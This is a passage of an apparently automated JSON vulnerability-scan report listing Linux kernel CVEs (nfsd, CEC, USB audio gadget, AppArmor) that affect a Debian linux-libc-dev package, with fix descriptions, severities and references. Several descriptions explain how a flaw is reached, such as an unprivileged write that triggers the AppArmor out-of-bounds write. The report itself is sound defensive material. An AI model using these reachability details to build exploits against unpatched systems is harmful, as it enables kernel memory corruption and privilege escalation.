reference, taken in nfsd4_copy() before\n wake_up_process() and dropped at the end of nfsd4_do_async_copy();\n call wake_up_process() before list_add().\n\n - Pin the task_struct with get_task_struct() in nfsd4_copy(), released\n in nfs4_put_copy(), so kthread_stop() is safe whenever the kthread\n exits. Set NFSD4_COPY_F_STOPPED only in nfsd4_stop_copy(), which now\n always kthread_stop()s before release_copy_files(); completion is\n still reported via NFSD4_COPY_F_COMPLETED, so\n nfsd4_has_active_async_copies() is unaffected. Each teardown caller\n removes the copy from clp-\u003easync_copies first, so kthread_stop() runs\n exactly once.\n\n - Take a copy reference in nfsd4_send_cb_offload(), dropped in\n nfsd4_cb_offload_release(). The kthread still holds its own reference\n there, so the refcount_inc() cannot race the final free.\n\n - Read cp_clp with smp_load_acquire() to pair with the unordered\n set_bit()/clear_bit() writers (Documentation/atomic_bitops.rst).", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77690", "https://access.redhat.com/security/cve/CVE-2026-89675", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532219", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/2532272", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532219", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2532272", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/10/ALSA-2026-77690.html", "https://errata.rockylinux.org/RLSA-2026:77690", "https://git.kernel.org/linus/62c0f6eaf050bb9284c1f9cac6ed1770092e6b95%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89675.mbox", "https://git.kernel.org/stable/c/62c0f6eaf050bb9284c1f9cac6ed1770092e6b95", "https://git.kernel.org/stable/c/9031493ef7369d5c59c4bacc96f0c85965f09a98", "https://git.kernel.org/stable/c/a385cf5e016b748babf94cc664e43a26e17db117", "https://linux.oracle.com/cve/CVE-2026-89675.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89675", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-89675" ], "PublishedDate": "2026-09-11T20:19:54.143Z", "LastModifiedDate": "2026-10-19T09:18:05.75Z" }, { "VulnerabilityID": "CVE-2026-89676", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89676", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:34b42581107c3fca8399054d030ea877800479d2239bbbe9038c523c67db151a", "Title": "kernel: nfsd: fix stale s2s_cp_stateids IDR entry for async COPY", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix stale s2s_cp_stateids IDR entry for async COPY\n\nFor an async COPY, nfsd4_copy() called nfs4_init_copy_state() before\ndup_copy_fields(), so the s2s_cp_stateids IDR was pointed at\n\u0026u-\u003ecopy-\u003ecp_stateid -- memory in the per-rqstp COMPOUND buffer that is\nreused by the next request. dup_copy_fields() copies only the value into\nasync_copy, so the IDR slot dangled at the transient buffer for the whole\nbackground copy. Any IDR walker then dereferences reused request memory:\nthe laundromat reads cs_type from it and, if the bytes look like an\nexpired NFS4_COPYNOTIFY_STID, follows into\nrefcount_dec()/idr_remove()/kfree() on garbage; manage_cpntf_state() has\nthe same exposure via idr_find().\n\nDuplicate the fields first, then register the stateid on the stable\nasync_copy. result-\u003ecb_stateid is unchanged.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://access.redhat.com/errata/RHSA-2026:77690", "https://access.redhat.com/security/cve/CVE-2026-89676", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532219", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/2532272", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532219", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2532272", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89675", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89676", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/10/ALSA-2026-77690.html", "https://errata.rockylinux.org/RLSA-2026:77690", "https://git.kernel.org/linus/d0beaee498e11880e72826026db0e9c9890fc114%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89676.mbox", "https://git.kernel.org/stable/c/14b978e8d05ce018d0afbeb6611833ef91713a02", "https://git.kernel.org/stable/c/745b2edfdd96b8738a94dee450adff4c7d026d5b", "https://git.kernel.org/stable/c/7aa34ea78f74e6ef60c8112635a87fc43d57f6c9", "https://git.kernel.org/stable/c/9b4e5e9ba5ae13808b8a6d229d87c54611ba0e7a", "https://git.kernel.org/stable/c/bdce362f49410b9def65d76c21f6259cd89696d8", "https://git.kernel.org/stable/c/d0beaee498e11880e72826026db0e9c9890fc114", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-dtxo0jiaqv7j.toml", "https://linux.oracle.com/cve/CVE-2026-89676.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89676", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89676" ], "PublishedDate": "2026-09-11T20:19:54.273Z", "LastModifiedDate": "2026-10-30T13:20:25.82Z" }, { "VulnerabilityID": "CVE-2026-89708", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89708", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d11b95b78bb5043963464d7e4641c5515c580c2205184c84dda75e5c68facfd2", "Title": "kernel: nfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: RCU-protect cl_cb_session to fix use-after-free on session teardown\n\nAfter a DESTROY_SESSION the per-session teardown path can free a\nsession while rpciod still holds an inflight callback rpc_task that\ndereferences clp-\u003ecl_cb_session. nfsd4_probe_callback_sync() flushes\ncl_callback_wq, but once nfsd4_run_cb_work() has called\nrpc_call_async() the rpc_task lives on rpciod; flushing the workqueue\ndoes not wait for it. rpc_shutdown_client() does drain rpciod tasks,\nbut uses a 1-second wait_event_timeout — tasks stuck in rpc_delay()\n(e.g. 2-second NFS4ERR_DELAY retries) can outlive the drain.\n\n destroy path rpciod\n ------------ ------\n unhash_session(ses)\n nfsd4_probe_callback_sync(clp)\n flush_workqueue(cl_callback_wq)\n /* returns; rpc_task still live */\n nfsd4_put_session_locked(ses)\n free_session(ses) -\u003e kfree(ses)\n nfsd4_cb_sequence_done()\n reads cb_clp-\u003ecl_cb_session\n /* freed slab */\n\nA second window exists in nfsd4_process_cb_update(). When\n__nfsd4_find_backchannel() returns NULL because unhash_session() has\nalready removed the destroyed session from cl_sessions,\nsetup_callback_client() takes the v4.1 early return so\nclp-\u003ecl_cb_session = ses never fires and the field retains a pointer\nto the about-to-be-freed session.\n\nFix both by converting cl_cb_session to an RCU-protected pointer:\n\n - Move the cl_cb_session = ses assignment in setup_callback_client()\n to after rpc_create() succeeds, so it is only published when a\n working backchannel exists. Clear cl_cb_session on the error\n return in nfsd4_process_cb_update(). Both stores use\n rcu_assign_pointer().\n\n - Annotate cl_cb_session with __rcu. All rpciod-side readers use\n rcu_read_lock()/rcu_dereference() and check for NULL, bailing to\n the appropriate error or requeue path:\n encode_cb_sequence4args(), decode_cb_sequence4resok(),\n nfsd41_cb_get_slot(), nfsd41_cb_release_slot(),\n nfsd4_cb_prepare(), and nfsd4_cb_sequence_done().\n\n - Switch __free_session() from kfree() to kfree_rcu() so the\n session slab is not reclaimed until after an RCU grace period,\n guaranteeing that rpciod readers inside rcu_read_lock() never\n dereference freed memory.\n\n - Pass the session pointer to the nfsd_cb_seq_status and\n nfsd_cb_free_slot tracepoints instead of having them re-read\n cl_cb_session.\n\n - nfsd4_cb_prepare() calls rpc_exit() when the session is NULL,\n routing through the done/release path to requeue the callback.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89708", "https://access.redhat.com/security/cve/CVE-2026-89708", "https://git.kernel.org/linus/01c5d5f58a5db9b0ee5afba2e49d3157788687b2%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89708.mbox", "https://git.kernel.org/stable/c/01c5d5f58a5db9b0ee5afba2e49d3157788687b2", "https://git.kernel.org/stable/c/13bdd486c3aad4fc19e6d8b9c3556a4b4c190b25", "https://git.kernel.org/stable/c/2775ec1d617e665eab71ce0f13ab1f7959713a2b", "https://git.kernel.org/stable/c/f164eb52b6f3cbf40f07fe379f9f421f88e02f76", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-yzlrrzxyudiw.toml", "https://linux.oracle.com/cve/CVE-2026-89708.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89708", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89708" ], "PublishedDate": "2026-09-11T20:19:58.14Z", "LastModifiedDate": "2026-10-19T09:18:09.59Z" }, { "VulnerabilityID": "CVE-2026-89713", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89713", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:794a66fc62d4d4dc9657c482ee09c3dd1b34714bf4c534cf49d45c6c68a20bd2", "Title": "kernel: NFSD: check truncate permission under inode lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: check truncate permission under inode lock\n\nnfsd_setattr() checks whether a size update needs NFSD_MAY_TRUNC\nbefore it takes inode_lock(). The comparison uses the file size sampled\nby that unlocked read, but the actual ATTR_SIZE update is applied later\nunder inode_lock() by notify_change().\n\nThis leaves a TOCTOU window for append-only files. If a client sends a\nSETATTR that does not shrink the file at the time of the unlocked\nsample, a concurrent append can extend the file before nfsd_setattr()\ntakes inode_lock(). notify_change() then applies a real truncation\nwithout the NFSD_MAY_TRUNC check that rejects IS_APPEND(inode). The VFS\ntruncate syscall paths perform their own append-only checks before\ncalling notify_change(), so NFSD must make this decision against the\nlocked size it is about to change.\n\nSplit the write-count acquisition from the truncation permission check.\nKeep get_write_access() before the locked setattr work, then recheck\nwhether the requested size is below i_size_read(inode) after inode_lock()\nhas been acquired and before notify_change(ATTR_SIZE). This also avoids\nthe plain unlocked inode-\u003ei_size load.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89713", "https://git.kernel.org/linus/b778e0e0a16759f22a70579c3cf8d254a40d4a7f%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89713.mbox", "https://git.kernel.org/stable/c/0669861a2e8e2bdb9c1149417d8ad821996ae4fe", "https://git.kernel.org/stable/c/3afa17d93ba8c925f49370c816c6dae5112d8c24", "https://git.kernel.org/stable/c/44086254479035de42ca3d286ecf25521d4e6325", "https://git.kernel.org/stable/c/52d0c5bdfe232c9974d4b11f97078b9c7814f05d", "https://git.kernel.org/stable/c/b778e0e0a16759f22a70579c3cf8d254a40d4a7f", "https://git.kernel.org/stable/c/d8352da196349182e1afd5a93308256cddc0a97d", "https://linux.oracle.com/cve/CVE-2026-89713.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89713", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89713" ], "PublishedDate": "2026-09-11T20:19:58.743Z", "LastModifiedDate": "2026-10-30T13:20:27.27Z" }, { "VulnerabilityID": "CVE-2026-89725", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:955a2b0b3731649285fc83a9d0e97442dab5935b05c90ce8b65acaaec1af2591", "Title": "kernel: media: cec: stm32: prevent out-of-bounds write on RX overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: cec: stm32: prevent out-of-bounds write on RX overflow\n\nstm32_rx_done() appends each received CEC byte to rx_msg.msg[] using\nrx_msg.len as the write index, incrementing it on every RXBR\n(receive-byte-ready) interrupt without checking it against the buffer\nsize:\n\n\tcec-\u003erx_msg.msg[cec-\u003erx_msg.len++] = val \u0026 0xFF;\n\nrx_msg.msg[] is a fixed CEC_MAX_MSG_SIZE (16) byte array in struct\ncec_msg, and rx_msg.len is only reset on RXACKE/RXOVR or after a\ncompleted message (RXEND). The number of bytes received before RXEND is\ndecided by the remote CEC device (it sets EOM), not by the driver. A\npeer that keeps sending bytes without ending the message drives RXBR\nrepeatedly, pushing rx_msg.len past 16 and writing peer-controlled bytes\nout of bounds into the surrounding memory. This is reachable in normal\noperation once the driver has probed and receiving is enabled, from the\nIRQ thread, without any local privilege.\n\nThe length check in the CEC core runs on the consumer side, after the\nbyte has been stored, so it does not prevent the overflow. Bound the\nindex in the driver before the store, as the other platform CEC drivers\nalready do (e.g. tegra_cec), dropping the excess bytes of an overlong\nframe.\n\nFound by static analysis tool CodeQL.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89725", "https://git.kernel.org/linus/fb9dda38d4b9e90db07ed9a0ee2d35bf85494035%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89725.mbox", "https://git.kernel.org/stable/c/0c260d3f97e52978a8c769bb095ac0901333a3ac", "https://git.kernel.org/stable/c/1b4fdefd788db990d1805feb5c7b2388de791ecd", "https://git.kernel.org/stable/c/37ac45f7d6e3a6a5dcf6452a0b7bad9a543e8344", "https://git.kernel.org/stable/c/3df1a4026662121011187247897fe95fd84e8a3a", "https://git.kernel.org/stable/c/a85ce3b175615c2e13bc01e8a1b6b6b6910fde57", "https://git.kernel.org/stable/c/c3edd7fb8e3692423a702705509947fc9c30b3d1", "https://git.kernel.org/stable/c/f2499b720ea9b874d58770885c6c2e8445a8c3ef", "https://git.kernel.org/stable/c/fb9dda38d4b9e90db07ed9a0ee2d35bf85494035", "https://nvd.nist.gov/vuln/detail/CVE-2026-89725", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89725" ], "PublishedDate": "2026-09-11T20:20:02.567Z", "LastModifiedDate": "2026-10-19T09:18:13.663Z" }, { "VulnerabilityID": "CVE-2026-89736", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89736", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18bc8605d7b6c1bfd6c76cd86d489128860f27a3604f7cfb872262d966d5ba1d", "Title": "kernel: usb: gadget: u_audio: Fix use-after-free on sound card disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: u_audio: Fix use-after-free on sound card disconnect\n\ng_audio_cleanup() invokes snd_card_free_when_closed() to initiate sound\ncard teardown and immediately frees the underlying struct snd_uac_chip\ncontext. However, snd_card_free_when_closed() returns asynchronously\nwhile ALSA control elements (kctls) remain open in userspace.\n\nWhen userspace control applications access or close these open file\ndescriptors, kctl callbacks attempt to dereference kctl-\u003eprivate_data\npointing to \u0026uac-\u003ec_prm or \u0026uac-\u003ep_prm within the freed uac structure,\nresulting in a use-after-free (UAF) memory corruption.\n\nFix this issue by deferring the destruction of struct snd_uac_chip until\nall references to the ALSA sound card are released. Register a custom\ncard-\u003eprivate_free callback (u_audio_card_free) during g_audio_setup()\nthat frees uac and its associated playback/capture request and ring\nbuffers only when the sound card reference count drops to zero.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89736", "https://git.kernel.org/linus/858965947081d10d41d9a1010a540d3d5eea958b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89736.mbox", "https://git.kernel.org/stable/c/4e747c864a88537e18b1ffc19a1954c9686bb8e1", "https://git.kernel.org/stable/c/6f46762196f04464e1050a9ee94e72b917db9010", "https://git.kernel.org/stable/c/79a92896e2bb9471550c56fc23d8d93592f04c27", "https://git.kernel.org/stable/c/858965947081d10d41d9a1010a540d3d5eea958b", "https://git.kernel.org/stable/c/891a8d11f4d5eb50b2ce7570f4f98204a7a57493", "https://git.kernel.org/stable/c/a7ecd1a04f4f485d7be6443d0f0b2c61a800cb82", "https://git.kernel.org/stable/c/c74ff0b1a0fca53d3ac185873c87d6a719b30a47", "https://git.kernel.org/stable/c/f983793f03148b097977f200298db215cd2d4438", "https://nvd.nist.gov/vuln/detail/CVE-2026-89736", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89736" ], "PublishedDate": "2026-09-11T20:20:04.077Z", "LastModifiedDate": "2026-10-19T09:18:16.323Z" }, { "VulnerabilityID": "CVE-2026-89761", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89761", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:72ae77a6ea504b874c0fe0ef5acf8542d18650de193a076f9964f695c01b29c3", "Title": "kernel: apparmor: fix out-of-bounds write when null terminating a label vec", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix out-of-bounds write when null terminating a label vec\n\naa_vec_unique() null terminates at vec[n - dups] when VEC_FLAG_TERMINATE\nis passed. If the components are all distinct no duplicates are dropped,\ndups is 0 and the terminator goes to vec[n], so the caller has to provide\nroom for n + 1 entries.\n\naa_label_strn_parse() sets up its vector with vec_setup(profile, vec, len,\ngfp) and then calls aa_vec_unique(vec, len, VEC_FLAG_TERMINATE), but\nvec_setup() does not reserve the terminator entry. Up to LOCAL_VEC_ENTRIES\nit uses the local array of LOCAL_VEC_ENTRIES pointers, above that it\nallocates exactly len pointers. The terminator therefore lands one entry\npast the end of the local array when len is LOCAL_VEC_ENTRIES, and one\nentry past the end of the allocation when len is larger.\n\nlen comes from the number of \"//\u0026\" separated components in the label name\nand label_count_strn_entries() does not bound it. An unprivileged task\nreaches the parse by writing to /proc/self/attr/apparmor/current or through\nlsm_set_self_attr(2), both of which go through do_setattr(), and the name\nis parsed before the change_profile permission is checked.\nThe query_label() path behind the securityfs .access file, which is\nmode 0666, performs no permission check at all. Every component has to\nresolve to a loaded profile, so a system with policy loaded is required.\n\nThe other two VEC_FLAG_TERMINATE users work on a label vec that\naa_label_alloc() has already sized with \"+ 1 for null terminator entry on\nvec\". Reserve the same entry in vec_setup() and DEFINE_VEC(). Passing\nlen + 1 from the caller instead would move len == LOCAL_VEC_ENTRIES out of\nthe local array and into kzalloc().", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89761", "https://git.kernel.org/linus/9f1e40193eef7f047e6b77cfb4b4cafdecd7a123%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89761.mbox", 